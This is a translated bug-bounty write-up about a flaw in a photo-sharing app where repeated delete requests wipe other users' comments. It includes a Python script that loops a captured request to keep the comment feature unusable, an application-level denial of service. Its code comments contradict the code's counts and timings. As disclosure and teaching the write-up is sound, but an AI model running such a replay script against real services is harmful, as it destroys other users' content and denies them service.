Від N/A до $$$: Простий Python-скрипт призвів до DoS на рівні додатку

pic

Привіт, друже! Це mrhashimamin. Я сумую за тобою, серйозно. Це стара історія (ну, насправді лише 2 місяці тому, але я роблю це для тебе, mi amigo 3>).

Вона про баг, який я знайшов у публічній програмі пошуку вразливостей (не розкриваю нічого, що може вказати на ціль, але думаю, ти здогадаєшся, xD). Назвемо її images-app.com.

Це додаток соціальних мереж для обміну фотографіями, мемами тощо. Користувачі можуть реагувати на/додавати коментарі до цих фотографій, а також є кілька інших цікавих функцій.

Невідповідність (N/A) катастрофа

Після кількох днів використання додатку як звичайного користувача, перегляду опублікованих звітів про старі баги і тестування основних функцій (скидання паролю, вхід, реєстрація), я вирішив зосередитись на функції коментарів.

Я почав з маніпулювання параметрами при додаванні коментаря, спробував редагувати чужий коментар і спровокувати будь-які детальні чи невідомі помилки. Нічого не вийшло.

Але ось що трапилось: коли я вперше видалив свій коментар, сервер відповів з 200 OK (як і очікувалось). Однак, коли я відправив той самий запит кілька разів, він все одно повертав 200 OK кожного разу.

І що з того?” — можеш запитати ти. Давайте повернемося до фотографії, на якій я тестував. І так...всі коментарі були видалені!

pic

До скрипту

pic

Після скрипту

Моя помилка (Не робіть цього, будь ласка)

Я був занадто поспішним і повідомив про це одразу, не повністю зрозумівши, чому це сталося. І ось що сталося.

Тож, будь ласка, не поспішайте і завжди намагайтеся посилати будь-яке знайдене. Дайте собі час, заглибтесь у проблему, і якщо ви все ще не знайдете нічого більш впливового, тоді звітуйте про це.

Чому це була помилка?

Коли тріажер спробував відтворити це, він насправді не зміг. Ось в чому річ: коли ви відправляєте запит на видалення більше одного разу (наприклад, 3 рази), ви фактично видаляєте свій коментар + два інші коментарі — але тільки до того часу, поки не додасться новий коментар від іншого користувача. Тоді коментарі повертаються назад.

pic

Після додавання нового коментаря

pic

Перше відповідання

Отже, в кінці кінців, я насправді не зробив нічого, що мало реальний вплив. Вони закрили це як N/A, тому що не змогли відтворити проблему.

Перетворення на справжній баг

Я знову і знову переключався на іншу функцію протягом двох тижнів, поки не подумав: “А чому б мені не використати Python скрипт для автоматизації цього процесу знову і знову?

Тож, я створив простий Python скрипт, щоб перетворити це на дійсний баг. Ось кроки:

  1. Нападник вибирає будь-яке зображення і публікує коментар до нього.
  2. Нападник намагається видалити свій коментар, захоплює запит і зберігає його у req.txt.
  3. Нападник використовує цей Python скрипт, щоб відправляти запит кілька разів, кожні 5 секунд (або менше).
    4.

    Будь-який новий коментар
    , доданий користувачем, буде видалений, разом із всіма існуючими коментарями, що унеможливлює використання користувачами функції коментарів.

Python скрипт:

# Дякую Chat-GPT, до речі  
import requests  
import time  

# Функція для парсингу req.txt  
def parse_request(file_path):  
 with open(file_path, "r") as file:  
 lines = file.readlines()  

 # Парсимо рядок запиту  
 request_line = lines[0].strip()  
 method, url_path, http_version = request_line.split(" ")  
 base_url = "https://www.images-app.com"   
 url = base_url + url_path  

 # Парсимо заголовки та тіло  
 headers = {}  
 body = None  
 is_body = False  
 for line in lines[1:]:  
 line = line.strip()  
 if not line:  
 is_body = True  
 continue  
 if is_body:  
 body = line  
 else:  
 key, value = line.split(": ", 1)  
 headers[key] = value  

 return method, url, headers, body  

# Функція для відправки запиту двічі  
def send_request(method, url, headers, body):  
 for _ in range(5):   
 response = requests.request(method, url, headers=headers, data=body)  
 print(f"Запит надіслано: {response.status_code}")  
 print("$ Очікування наступного циклу $")  

# Основний цикл для надсилання запитів кожні 10 хвилин  
file_path = "req.txt"  
while True:  
 # Парсимо запит з req.txt  
 method, url, headers, body = parse_request(file_path)  

 # Відправляємо запит двічі  
 send_request(method, url, headers, body)  

 # Чекаємо 2 хвилини перед наступним циклом  
 time.sleep(30)

Після того, як вони проаналізували це і прийняли як P3, вони понизили пріоритет до P4 (так, типова схема, як завжди).

pic

Та не важливо, це вся історія на сьогодні. Сподіваюся, цей опис був корисним. Дякую, і продовжуйте хакати 3>
`

Перекладено з: From N/A to $$$: A Simple Python Script Led to Application-Level DoS

Leave a Reply

Your email address will not be published. Required fields are marked *